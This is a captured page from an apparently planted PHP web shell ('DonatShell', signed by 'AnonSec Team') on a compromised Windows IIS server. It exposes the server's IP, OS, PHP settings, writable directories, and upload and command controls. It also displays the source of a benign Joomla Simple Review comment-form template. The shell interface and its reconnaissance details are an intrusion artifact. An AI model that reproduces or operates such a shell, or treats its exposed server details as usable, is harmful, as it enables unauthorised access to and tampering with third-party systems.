DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/news/components/com_simple_review/templates/default/commentform/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/news/components/com_simple_review/templates/default/commentform/template.html.php
<?php
/*
 * 	Copyright (C) 2005-2011  Rowan Youngson
 *
 *	This file is part of Simple Review.
 *
 *	Simple Review is free software: you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation, either version 3 of the License, or
 *  (at your option) any later version.

 *  Simple Review is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.

 *  You should have received a copy of the GNU General Public License
 *  along with Simple Review.  If not, see http://www.gnu.org/licenses/.
 */
?>
<!--start editing from here-->
<script type="text/javascript">
	var commentOptions = {
			avatarURL: '<?php echo $avatarURL;?>',
			commentLengthText: '<?php echo $warningLength;?>',
			commentNeededText: '<?php echo $warningMandatoryComment;?>',
			maxLength: '<?php echo $maxLength;?>',
			maxrating: '<?php echo $maxRating;?>',
			nameNeeded: '<?php echo $warningMandatoryName;?>',
			ratingBoundsText: '<?php echo $warningBounds;?>',
			commentRequired: '<?php echo $commentRequired;?>',
			ratingRequired: '<?php echo $ratingRequired;?>',
			securityNeededText: '<?php echo $warningMandatoryImageCode;?>',
			useSecurity: false
		};
		var cfc = new CommentFormController(commentOptions);
</script>
<?php
if($useStarRating)
{
	$this->addonManager->Bridge->IncludeJQuery($jQueryProvider);
	$this->addonManager->Bridge->IncludeJSLink($jsRootUrl.'jquery.rateit.min.js');
	?>	
	<script type="text/javascript">
		jQuery(function(){
			var rated = 0;
			var rateittext = jQuery("#rateittext");
			if(rateittext.length === 0)
			{
				return;
			}
			var scaleRated = function(value){
				return value * (commentOptions.maxrating / 5);
			};
			var setRated = function(value){
				rated = scaleRated(value ? value : 0);
			};
			jQuery("#rateit").bind('rated', function (event, value) { setRated(value); rateittext.text(rated); });
			jQuery("#rateit").bind('hover', function (event, value) { rateittext.text(value ? scaleRated(value) : rated); });
			jQuery("#rateit").bind('reset', function () {  rated = 0; rateittext.text(rated); });
		});
	</script>
	<?php
}
?>
<div id="Standard_Comment_Form_Body">
<form name='commentForm'
	onsubmit='return cfc.CommentSubmitButton("<?php echo $details->allowUserComments;?>")'
	action='<?php echo $details->submitLink;?>' method='post'
	id='commentForm'>

<fieldset>
<input type='hidden' name='reviewID'
	value='<?php echo $details->reviewID;?>' />


<table class="commentForm">
	<thead>
		<tr>
			<th colspan="2"><?php echo $details->userCommentIntro;?></th>
		</tr>
	</thead>
	<?php echo $details->currentUser;?>
	
	<?php if($ratingRequired != 0 ):?>
	<tr>
		<th><?php echo $details->userCommentRating;?></th>
		<td>
			<?php echo $details->ratingInput;?>
			<?php if($useStarRating):?>
			<div id="rateit" class="rateit bigstars" data-rateit-backingfld="#userRating" data-rateit-starwidth="23" data-rateit-starheight="22"></div> <span id="rateittext">0</span>
			<?php endif;?>		
		</td>
	</tr>
	<?php endif;?>

	<tr>
		<th valign='top'><?php echo $details->userCommentAvatar;?></th>
		<td><?php echo $details->avatarSelectList;?>

		<div><img id='commentavatar' name='avatar_img'
			src='<?php echo $details->initialImage;?>' /></div>
		</td>
	</tr>
	<?php if($details->securityImage != ''):?>
	<tr>
		<th valign='top'><?php echo $captcha;?>:</th>
		<td><?php echo $details->securityImage;?></td>
	</tr>
	<?php endif;?>
	
	<?php if($commentRequired != 0 ):?>	
	<tr>
		<th><?php echo $details->comment;?></th>
		<td>
			<textarea name='comment' cols='50' rows='5' class='inputbox' wrap='virtual'></textarea>
		</td>
	</tr>
	<?php endif;?>	
	<tr>
		<th>&nbsp;</th>
		<td><input type='Submit' name='submit' value='<?php echo $details->addComment;?>'/></td>
	</tr>
</table>
</fieldset>
</form>
</div>
<!--stop editing here-->

Anon7 - 2022
AnonSec Team